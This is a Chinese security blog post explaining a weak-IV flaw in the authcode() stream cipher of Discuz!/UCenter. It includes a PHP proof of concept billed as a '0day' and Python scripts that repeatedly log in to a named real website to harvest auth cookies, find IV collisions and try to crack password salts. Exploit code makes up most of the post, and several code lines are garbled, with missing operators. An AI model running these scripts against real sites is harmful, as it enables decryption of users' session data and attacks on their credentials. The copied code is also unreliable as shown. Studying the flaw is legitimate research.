discuz! authcode() 弱iv缺陷-凯发app官方网站

凯发app官方网站-凯发k8官网下载客户端中心 | | 凯发app官方网站-凯发k8官网下载客户端中心
  • 博客访问: 1154538
  • 博文数量: 272
  • 博客积分: 3899
  • 博客等级: 中校
  • 技术积分: 4734
  • 用 户 组: 普通用户
  • 注册时间: 2012-06-15 14:53
文章分类

全部博文(272)

文章存档

2012年(272)

相关博文
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·
  • ·

分类: 网络与安全

2012-06-27 16:31:57

 与一样,此文是的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。

 

    discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):

======================================================================

// $string: 明文 或 密文     

// $operation:decode表示解密,其它表示加密     

// $key: 密匙     

// $expiry:密文有效期    

//字符串解密加密   

function authcode($string, $operation = 'decode', $key = '', $expiry = 0) {   

     // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙  (初始化向量iv)  

    $ckey_length = 4;   // 随机密钥长度 取值 0-32;   

                // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)

                // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方   

                // 当此值为 0 时,则不产生随机密钥   

    // 密匙    

    $key = md5($key ? $key : uc_key);   

    // 密匙a会参与加解密    

    $keya = md5(substr($key, 0, 16));   

    // 密匙b会用来做数据完整性验证    

    $keyb = md5(substr($key, 16, 16));   

    // 密匙c用于变化生成的密文   (初始化向量iv)

    $keyc = $ckey_length ? ($operation == 'decode' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';   

    // 参与运算的密匙   

    $cryptkey = $keya.md5($keya.$keyc);   

    $key_length = strlen($cryptkey);   

  

    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性     

    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确    

    $string = $operation == 'decode' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry time() : 0).substr(md5($string.$keyb), 0, 16).$string;   

    $string_length = strlen($string);   

  

    $result = '';   

    $box = range(0, 255);   

  

    $rndkey = array();   

    // 产生密匙簿    

    for($i = 0; $i <= 255; $i ) {   

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);   

    }   

     // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度    

    for($j = $i = 0; $i < 256; $i ) {   

        $j = ($j $box[$i] $rndkey[$i]) % 256;   

        $tmp = $box[$i];   

        $box[$i] = $box[$j];   

        $box[$j] = $tmp;   

    }   

    // 核心加解密部分   

    for($a = $j = $i = 0; $i < $string_length; $i ) {   

        $a = ($a 1) % 256;   

        $j = ($j $box[$a]) % 256;   

        $tmp = $box[$a];   

        $box[$a] = $box[$j];   

        $box[$j] = $tmp;   

        // 从密匙簿得出密匙进行异或,再转成字符   

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] $box[$j]) % 256]));  

    }   

  

    if($operation == 'decode') {   

        // 验证数据有效性,请看未加密明文的格式    

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {   

            return substr($result, 26);   

        } else {   

            return '';   

        }   

    } else {   

         // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因     

         // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码    

        return $keyc.str_replace('=', '', base64_encode($result));   

    }   

}  

======================================================================

    在这个函数中,keyc 就是iv(初始化向量), ckey_length 就是iv的长度。$ckey_length = 0时,没有iv。

 

    iv的意义就是为了一次一密,它影响到真正每次用于加密的xor key。

    而“reused key attack”的前提就是要求xor key是相同的。但discuz默认使用的iv长度是4,这并不是一个很大的值,因此可以遍历出所有的iv可能值。一旦iv出现重复,就意味着xor key也重复了,因此可以实施“reused key attack”。

    如下演示代码

 

define('uc_key','asdfasfas');

 

$plaintext1 = "2626";

$plaintext2 = "2630";

 

$guess_result = "";

 

$time_start = time();

 

$dict = array();

global $ckey_length;

$ckey_length = 4;

 

echo "== discuz/ucenter authcode() stream cipher attack exploit v2(crack plaintext)\n";

echo "== 0day by axis ==\n";

echo "== 2011.9.2 ==\n\n";

 

echo "collecting dictionary(xor keys).\n";

 

 

$cipher2 = authcode($plaintext2, "encode" , uc_key);

 

$counter = 0;

for (;;){

  $counter ;

  $cipher1 = authcode($plaintext1, "encode" , uc_key);

  $keyc1 = substr($cipher1, 0, $ckey_length);

  $cipher1 = base64_decode(substr($cipher1, $ckey_length));

      

  $dict[$keyc1] = $cipher1;  

   

  if  ( $counter00 == 0){  

    echo ".";   

    if ($guess_result = guess($dict, $cipher2)){

      break;

    }     

  }  

}

 

array_unique($dict);

 

echo "\ndictionary collecting finished..\n";

echo "collected ".count($dict)." xor keys\n";

 

function guess($dict, $cipher2){

  global $plaintext1,$ckey_length;

 

  $keyc2 = substr($cipher2, 0, $ckey_length);

  $cipher2 = base64_decode(substr($cipher2, $ckey_length));  

 

  for ($i=0; $i

    if (array_key_exists($keyc2, $dict)){

      echo "\nfound key in dictionary!\n";

      echo "keyc is: ".$keyc2."\n";

      

      return crack($plaintext1,$dict[$keyc2],$cipher2);

      break;

    }

  }

  return false;

}

 

 

echo "\ncounter is:".$counter."\n";

$time_spend = time() - $time_start;

echo "crack time is: ".$time_spend." seconds \n";

echo "crack result is :".$guess_result."\n"; 

 

function crack($plain, $cipher_p, $cipher_t){

    $target = '';

        

    $tmp_p = substr($cipher_p, 26);

    echo hex($tmp_p)."\n";

    

    $tmp_t = substr($cipher_t, 26);

    echo hex($tmp_t)."\n";

    

    for ($i=0;$i

        $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));   

    }

    return $target;

}

 

 

function hex($str){

    $result = '';

    for ($i=0;$i

         $result .= "\\".ord($str[$i]);

    }

    return $result;

}     

 

            

function authcode($string, $operation = 'decode', $key = '', $expiry = 0) {

 

    global $ckey_length;

    //$ckey_length = 4;

 

    $key = md5($key ? $key : uc_key);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ? ($operation == 'decode' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

 

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

 

    $string = $operation == 'decode' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

 

    $result = '';

    $box = range(0, 255);

 

    $rndkey = array();

    for($i = 0; $i <= 255; $i ) {

        $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

 

    for($j = $i = 0; $i < 256; $i ) {

        $j = ($j $box[$i] $rndkey[$i]) % 256;

        $tmp = $box[$i];

        $box[$i] = $box[$j];

        $box[$j] = $tmp;

    }

 

    //$xx = ''; // real key

    for($a = $j = $i = 0; $i < $string_length; $i ) {

        $a = ($a 1) % 256;

        $j = ($j $box[$a]) % 256;

        $tmp = $box[$a];

        $box[$a] = $box[$j];

        $box[$j] = $tmp;

        //$xx .= chr($box[($box[$a] $box[$j]) % 256]);

        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] $box[$j]) % 256]));

    }

    //echo "xor key is: ".hex($xx)."\n";

 

    if($operation == 'decode') {

        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

            return substr($result, 26);

        } else {

            return '';

        }

    } else {

        return $keyc.str_replace('=', '', base64_encode($result));

    }

}        

 

?>

 

    测试效果:

    在实际互联网中,要强迫出现重复的iv也不是什么难事。iv不是保密信息,密文的前4字节就是iv的值。

    以下演示代码,将从一个网站中遍历出重复的iv。

    每次请求抓取到的密文和iv,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的iv。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个poc了。

grab_cipher1.py:

======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import cookie

import sqlite3

import base64

import operator

 

#url = ""

#req = urllib2.request(url,data,headers)     

#f = urllib2.urlopen(req)

 

# step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

# 如果是第一次执行,需要创建表,之后则不再需要

#c.execute('create table photo003_2626(id integer primary key, iv varchar(32), cipher text)')

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

  headers = {'user-agent':'mozilla/5.0 (windows; u; windows nt 5.1; zh-cn; rv:1.9.2.20) gecko/20110803 firefox/3.6.20',

             'content-type':'application/x-www-form-urlencoded',

             'referer':'',

             'cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblll; 79uz_d57e_lastact=1315293401 home.php misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}

  

  data = {'username':'请替换username','password':'请替换pass','quickforward':'yes','handlekey':'ls'}

  data = urllib.urlencode(data)

 

  conn = httplib.httpconnection("photo003.com")

  conn.request('post',

               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',

               data,

               headers)

 

  res = conn.getresponse()

 

  if res:

    cookies = cookie.simplecookie()

    cookies.load(res.getheader("set-cookie"))

 

    authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

    iv = authcookie[0:4]

    cipher = base64.b64decode(authcookie[4:])

    

    c.execute('insert into photo003_2626(iv, cipher) values (?, ?)',(iv, cipher))

 

    dbcon.commit()

    

    print str(i) '   ' iv

======================================================================

 

grab_cipher2.py:

 ======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import cookie

import sqlite3

import base64

import operator

 

#url = ""

#req = urllib2.request(url,data,headers)     

#f = urllib2.urlopen(req)

 

# step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

#c.execute('create table photo003_2630(id integer primary key, iv varchar(32), cipher text)')

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

  headers = {'user-agent':'mozilla/5.0 (windows; u; windows nt 5.1; zh-cn; rv:1.9.2.20) gecko/20110803 firefox/3.6.20',

             'content-type':'application/x-www-form-urlencoded',

             'referer':'',

             'cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblll; 79uz_d57e_lastact=1315293401 home.php misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}

  

  data = {'username':'请替换username2','password':'请替换pass2','quickforward':'yes','handlekey':'ls'}

  data = urllib.urlencode(data)

 

  conn = httplib.httpconnection("photo003.com")

  conn.request('post',

               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',

               data,

               headers)

 

  res = conn.getresponse()

 

  if res:

    cookies = cookie.simplecookie()

    cookies.load(res.getheader("set-cookie"))

 

    authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

    iv = authcookie[0:4]

    cipher = base64.b64decode(authcookie[4:])

    

    c.execute('insert into photo003_2630(iv, cipher) values (?, ?)',(iv, cipher))

 

    dbcon.commit()

    

    print str(i) '   ' iv

 

======================================================================

 

crack_discuz_authcode.py:

======================================================================

import string 

import urllib2

import urllib

#from urlparse import urlparse   

import httplib    

import cookie

import sqlite3

import base64

import operator

import md5

import random

 

 

def crack(plain1, cipher1, cipher2):

    plain2 = ''    

    

    for i in range(0,len(plain1)):

      ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))

      plain2 = chr(operator.xor(ch, ord(cipher2[i])))  

    

    return plain2

 

def bytecode(st):

    s = ''

    for c in st:

      s = s str(ord(c)) ','

    

    return s  

 

def list_iv_collision():

  dbcon = sqlite3.connect('./authcode.db')

  c = dbcon.cursor()

 

  dbcon.text_factory = str

 

  c.execute('select * from photo003_2626')

  r1 = c.fetchall()

 

  c.execute('select * from photo003_2630')

  r2 = c.fetchall()

  if r1 and r2:

    for c1 in r1:

      for c2 in r2:

        if c1[1] == c2[1]:

          print c1[1] '   ' c2[1]

  

  c.close()

 

 

dbcon = sqlite3.connect('./authcode.db')

c = dbcon.cursor()

 

dbcon.text_factory = str

 

list_iv_collision()

 

###################################

#  下面的代码尝试破解salt,此功能尚未完成

###################################

iv = "dee5"

pwd = "password"

 

c.execute('select * from photo003_2626 where iv=?', (iv,))

r1 = c.fetchone()

 

c.execute('select * from photo003_2630 where iv=?', (iv,))

r2 = c.fetchone()

 

if r1 and r2:

  for x in range(0,99999999):

    csets = "abcdefghijklmnopqrstuvwxyz0123456789"

    salt = ''

    for i in range(0,6):

      salt = random.choice(csets)

     

    plain1 = md5.new(md5.new(pwd).hexdigest() salt).hexdigest() '\t' '2626'

    #print salt

    #print plain1

    plain2 = crack(plain1, r1[2][26:], r2[2][26:] )

    #print plain2

    if plain1[0:32] == plain2[0:32]:

       print salt

       print 'counter is:' str(x)

       break

    

    if x0000 == 0:

      print str(x) '    ' salt

 

c.close()

 

======================================================================

 

    测试效果:

    在十几分钟内就能收集到很多重复的iv。

 

    通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。

 

    authcode()函数由于有hmac的存在因此无法伪造出任意明文的密文。这是因为hmac的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的hmac的。

    

    最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。

 

    这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和hmac,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。

阅读(3905) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~
")); function link(t){ var href= $(t).attr('href'); href ="?url=" encodeuricomponent(location.href); $(t).attr('href',href); //setcookie("returnouturl", location.href, 60, "/"); }
网站地图